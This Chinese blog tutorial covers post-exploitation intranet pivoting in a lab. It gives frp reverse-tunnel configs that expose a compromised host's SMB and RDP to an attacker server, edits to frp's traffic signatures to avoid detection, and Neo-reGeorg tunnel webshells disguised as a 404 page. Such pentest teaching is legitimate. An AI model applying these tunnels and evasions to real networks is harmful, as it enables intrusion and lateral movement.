渗透手札之内网穿透

韩乔落

内⽹穿透

内⽹穿透,也即 NAT 穿透,进⾏ NAT 穿透是为了使具有某⼀个特定源 IP 地址和源端⼝号的数据包不被 NAT 设备屏蔽⽽正确路由到内⽹主机。

代理概述

代理其实就是⼀个中介,A和B本来可以直连,中间插⼊⼀个C,C就是中介,比如Brupsuite

Socks协议

中⽂意思:防⽕墙安全会话转换协议,⼯作在OSI参考模型的第5层(会话层)。
它是⼀种可以穿透防⽕墙的协议,因为Socks介于传输层与表示层之间,使⽤TCP协议传输数据,因⽽不提供如传递ICMP信息之类的⽹络层相关服务。Socks不⽀持ICMP,不能使⽤ping命令。

正向代理简介

正向代理类似⼀个跳板机,代理访问外部资源⽐如我们国内访问⾕歌,直接访问访问不到,我们可以通过⼀个正向代理服务器,请求发到代理服,代理服务器能够访问⾕歌,这样由代理去⾕歌取到返回数据,再返回给我们,这样我们就能访问⾕歌了。

反向代理简介

刚开始的时候,代理多数是帮助内⽹client访问外⽹server⽤的。后来出现了反向代理,反向其实是指⽅向相反,即代理将来⾃外⽹客户端的请求转发到内⽹服务器,从外到内。反向代理实际运⾏⽅式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部⽹络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为⼀个服务器。

代理的意义

我们在获得外⽹服务器的⼀定权限后发现这台服务器可以直接或者间接的访问内⽹ ,此时渗透测试进⼊后渗透阶段,⼀般情况下,内⽹中的其他机器是不允许来⾃外⽹机器的访问的。这时候,我们可以将这台外⽹服务器设置成为代理,使得我们⾃⼰的攻击机可以直接访问与操作内⽹中其他机器。按照代理协议在TCP/IP协议栈中所处的位置,可以将正向代理分为HTTP代理和socks代理。HTTP代理技术要求所有代理流量按照HTTP协议进⾏传输,使⽤socks代理技术则可以在直接在⽹络层传输代理数据包。HTTP代理⼯作在应⽤层,socks代理⼯作在⽹络层,所以socks代理技术⽐HTTP代理快很多。

Proxifier

Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。支持 64位系统,支持Xp,Vista,Win7,MAC OS ,支持socks4,socks5,http代理协议,支持TCP,UDP协议,可以指定端口,指定IP,指定域名,指定程序等运行模式,兼容性非常好。有许多网络应用程序不支持通过代理服务器工作,Proxifier 解决了这些问题和所有限制,让你有机会不受任何限制使用你喜爱的软件。此外,它让你获得了额外的网络安全控制,创建代理隧道,并添加使用更多网络功能的权力。

lnetstab

反向代理

反向代理的前提就是目标机器出网。

reverse_proxy

花生壳

好处是商用,天然免杀,坏处是要直接在目标服务器安装,且这两年收费了。。。就不做介绍了。

frp

很好用的开源反向代理工具,不过容易被杀。我们用上图的拓朴做讲解。下载链接 https://github.com/fatedier/frp。

服务端配置

服务端可以是我们自己的vps或者有公网ip的服务器,我们这里用ubuntu:20.04为例(ip:192.168.188.133)。服务端程序为frps,frps.toml为配置文件,其内容如下:

1
2
3
4
5
6
bindPort = 7000
# WenUI 端口
webServer.port = 7500
# WebUI 的账号密码
webServer.user = "admin"
webServer.password = "admin"

webServer 可选,开启以后比较方便查看连接进来的机器。

运行命令:

1
2
3
4
5
$ ./frps -c frps.toml
2024/01/22 20:00:35 [I] [root.go:104] frps uses config file: frps.toml
2024/01/22 20:00:35 [I] [service.go:225] frps tcp listen on 0.0.0.0:7000
2024/01/22 20:00:35 [I] [root.go:113] frps started successfully
2024/01/22 20:00:35 [I] [service.go:338] dashboard listen on 127.0.0.1:7500

运行成功后访问 http://127.0.0.1:7500 并输入上面设置的账号密码会看到如下界面。

image-20240122200245663

客户端配置

“客户端” 就是我们控制的目标机器,我这里以windows server 2008 R2为例(ip:192.168.188.130)。frpc是客户端程序,frpc.toml是配置文件,其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 服务端IP和对应端口
serverAddr = "192.168.188.133"
serverPort = 7000

webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"

[[proxies]]
name = "test-tcp-1"
type = "tcp"
localIP = "127.0.0.1"
localPort = 445
remotePort = 7001

[[proxies]]
name = "test-tcp-2"
# 连接类型
type = "tcp"
localIP = "127.0.0.1"
# 本地要映射的端口
localPort = 3389
# 映射到远程的端口
remotePort = 7002

内容很直观,不再解释。

运行命令:

1
2
3
4
5
6
7
8
> .\frpc.exe -c frpc.toml
2024/01/22 20:08:00 [I] [root.go:141] start frpc service for config file [.\frpc.toml]
2024/01/22 20:08:00 [I] [service.go:287] try to connect to server...
2024/01/22 20:08:00 [I] [service.go:279] [1a9b265121ca3fcb] login to server success, get run id [1a9b265121ca3fcb]
2024/01/22 20:08:00 [I] [proxy_manager.go:173] [1a9b265121ca3fcb] proxy added: [test-tcp-1 test-tcp-2]
2024/01/22 20:08:00 [I] [service.go:177] admin server listen on 127.0.0.1:7500
2024/01/22 20:08:00 [I] [control.go:169] [1a9b265121ca3fcb] [test-tcp-1] start proxy success
2024/01/22 20:08:00 [I] [control.go:169] [1a9b265121ca3fcb] [test-tcp-2] start proxy success

攻击机连接

我们操控的机器,以kali为例。直接运行 rdesktop 192.168.133:7002 进行远程桌面连接到我们的目标机器。

image-20240122201523740

特征修改(免杀)

有些局域网会进行流量和特征识别,从而进行拦截,可以使用 frp 的流量加密与压缩功能。但自从 frp v0.50开始,已经默认进行tls加密了。frp 连接时,客户端会发起请求到服务端,请求的内容是固定的,包含目标机器的一些信息,信息字段我们可以进行修改,文件在 pkg/msg/msg.go 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// When frpc start, client send this message to login to server.
type Login struct {
Version string `json:"version,omitempty"`
Hostname string `json:"hostname,omitempty"`
Os string `json:"os,omitempty"`
Arch string `json:"arch,omitempty"`
User string `json:"user,omitempty"`
PrivilegeKey string `json:"privilege_key,omitempty"`
Timestamp int64 `json:"timestamp,omitempty"`
RunID string `json:"run_id,omitempty"`
Metas map[string]string `json:"metas,omitempty"`

// Currently only effective for VirtualClient.
ClientSpec ClientSpec `json:"client_spec,omitempty"`

// Some global configures.
PoolCount int `json:"pool_count,omitempty"`
}

frp 为了端口复用,建立 TLS 连接时第一个字节固定为 0x17,且后面数据包大小为 317。代码位置在 pkg/util/net/tls.go,其信息也可以修改,可以把第一个字符改为其他16进制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package net

import (
"crypto/tls"
"fmt"
"net"
"time"

libnet "github.com/fatedier/golib/net"
)

var FRPTLSHeadByte = 0x17

func CheckAndEnableTLSServerConnWithTimeout(
c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,
) (out net.Conn, isTLS bool, custom bool, err error) {
sc, r := libnet.NewSharedConnSize(c, 2)
buf := make([]byte, 1)
var n int
_ = c.SetReadDeadline(time.Now().Add(timeout))
n, err = r.Read(buf)
_ = c.SetReadDeadline(time.Time{})
if err != nil {
return
}

switch {
case n == 1 && int(buf[0]) == FRPTLSHeadByte:
out = tls.Server(c, tlsConfig)
isTLS = true
custom = true
case n == 1 && int(buf[0]) == 0x16:
out = tls.Server(sc, tlsConfig)
isTLS = true
default:
if tlsOnly {
err = fmt.Errorf("non-TLS connection received on a TlsOnly server")
return
}
out = sc
}
return
}

正向代理

如果目标机器不出网的情况下,可以使用正向代理。

proxy

Neo-reGeorg+Proxifier

由于reGeorg年久失修且不支持加密,所以就不介绍了。正向代理很简单无需配置什么,并且脚本是挂在http/https服务的,一般不会被查杀,但也需要防止静态查杀,加一些代码,做一些混淆。这里介绍几个常用伪装命令。

伪装与上传

我们可以把 www目录下的error,文件夹复制出来,用于做伪装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
> python3 .\neoreg.py generate -k 123456 -f error/404.html -c 404
"$$$$$$'' 'M$ '$$$@m
:$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
'$$$ '$$$$
$$$$ J$$$$'
m$$$$ $$$$,
$$$$@ '$$$$_ Neo-reGeorg
'1t$$$$' '$$$$<
'$$$$$$$$$$' $$$$ version 5.2.0
'@$$$$' $$$$'
'$$$$ '$$$@
'z$$$$$$ @$$$
r$$$ $$|
'$$v c$$
'$$v $$v$$$$$$$$$#
$$x$$$$$$$$$twelve$$$@$'
@$$$@L ' '<@$$$$$$$$`
$$ '$$$


[ Github ] https://github.com/L-codes/Neo-reGeorg

[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.go
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel.php

-k 指定密钥,-f 指定伪装文件,-c 指定httpcode,然后把生成的tunnel文件改个名,传到代理服务器中。

image-20240123182522130

配置Proxifier

运行Neo-reGorg,因为我们把网站伪装成了 404,所以需要加--skip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> python3 .\neoreg.py -k 123456 -u http://192.168.188.133/tunnel.php -p 10086 --skip
"$$$$$$'' 'M$ '$$$@m
:$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
'$$$ '$$$$
$$$$ J$$$$'
m$$$$ $$$$,
$$$$@ '$$$$_ Neo-reGeorg
'1t$$$$' '$$$$<
'$$$$$$$$$$' $$$$ version 5.2.0
'@$$$$' $$$$'
'$$$$ '$$$@
'z$$$$$$ @$$$
r$$$ $$|
'$$v c$$
'$$v $$v$$$$$$$$$#
$$x$$$$$$$$$twelve$$$@$'
@$$$@L ' '<@$$$$$$$$`
$$ '$$$


[ Github ] https://github.com/L-codes/Neo-reGeorg

+------------------------------------------------------------------------+
Log Level set to [ERROR]
Starting SOCKS5 server [127.0.0.1:10086]
Tunnel at:
http://192.168.188.133/tunnel.php
+------------------------------------------------------------------------+

接下来打开 Proxifier。

image-20240123182900644

如上图配置后,添加规则打开要代理的程序。

image-20240123183033094

Action 选择代理。然后即可通过代理访问内网。

image-20240123183221998

  • Title: 渗透手札之内网穿透
  • Author: 韩乔落
  • Created at : 2024-01-22 13:42:04
  • Updated at : 2024-04-28 19:47:43
  • Link: https://jelasin.github.io/2024/01/22/渗透手札之内网穿透/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments